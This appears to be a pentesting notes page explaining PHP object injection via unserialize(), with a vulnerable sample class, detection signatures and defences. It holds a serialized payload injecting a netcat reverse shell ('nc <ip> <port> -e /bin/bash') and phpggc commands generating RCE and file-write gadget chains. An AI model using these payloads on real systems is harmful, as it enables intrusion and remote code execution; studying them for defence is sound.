the_open_door
coffee
ESEN
← Back to index

PHP Object Injection (Deserialization)

Full command arsenal in the cheatsheet

PHP object injection appears when the application passes user-controlled data to unserialize(). Serialization turns an object into a text string (O:4:"Ping":2:{...}) and unserialize() rebuilds it as an object with its properties exactly as they came in. If the attacker forges that string, they control the internal state of the object the application is about to use.

The most direct case (and the one on this box) needs no complex POP chain: it is enough to abuse a validation property. If the code does something like:

class Ping {
    public $isValid = false;
    public $ip;
    function process() {
        if (!$this->isValid) $this->validate();   // checks that $ip is an IP
        if ($this->isValid) system("ping -c1 " . $this->ip);
    }
}
$obj = unserialize($_POST['data']);

validation only runs when isValid is false. If we send a serialized object with isValid already true, the check is skipped and $ip reaches system() unfiltered: append a ; and inject the command:

// build the malicious string
$o = new Ping();
$o->isValid = true;
$o->ip = "127.0.0.1; nc <ip> <port> -e /bin/bash";
echo serialize($o);

When magic methods exist (__wakeup, __destruct, __toString), the technique escalates to POP chains: chaining objects whose automatic methods, on deserialization, end in a dangerous call (file write, eval, system). The source that reveals the class is often leaked through an exposed backup (index.php.bak), which serves the PHP as plaintext.

POP chains with phpggc

If the app uses a known framework/library (Laravel, Symfony, Monolog, Guzzle, WordPress...), phpggc generates the ready-to-paste POP chain without hand-writing the gadget:

phpggc -l                                   # list available gadgets
phpggc Monolog/RCE1 system id               # chain that runs 'id'
phpggc -b Laravel/RCE9 system 'id'          # base64 output to put in the cookie/param
phpggc Guzzle/FW1 /var/www/html/sh.php /tmp/payload   # write a file (write gadget)

Requirements. User input reaching unserialize() and a class whose state or magic methods lead to something exploitable. Knowing the code (from the .bak or via reverse engineering) makes building the object much easier.

How to detect it. The signature is a parameter or cookie whose value is a PHP serialized string: it starts with O:<n>:"<Class>" (object) or a:<n>:{ (array), a format no legitimate client sends in a normal field; a WAF detecting O:\d+:" flags it. It's often preceded by the download of a code backup (index.php.bak, .swp) in the access log (class leak). Confirmation is the web process spawning sh/bash/nc (via the gadget's system()) as a child (auditd/Sysmon for Linux).

Defence. Do not deserialize user-supplied data; use data formats (JSON) instead, and if unserialize() is unavoidable, restrict classes with allowed_classes. Do not leave .bak files accessible. Same family as Node.js deserialization and pickle deserialization.

Machines where it's used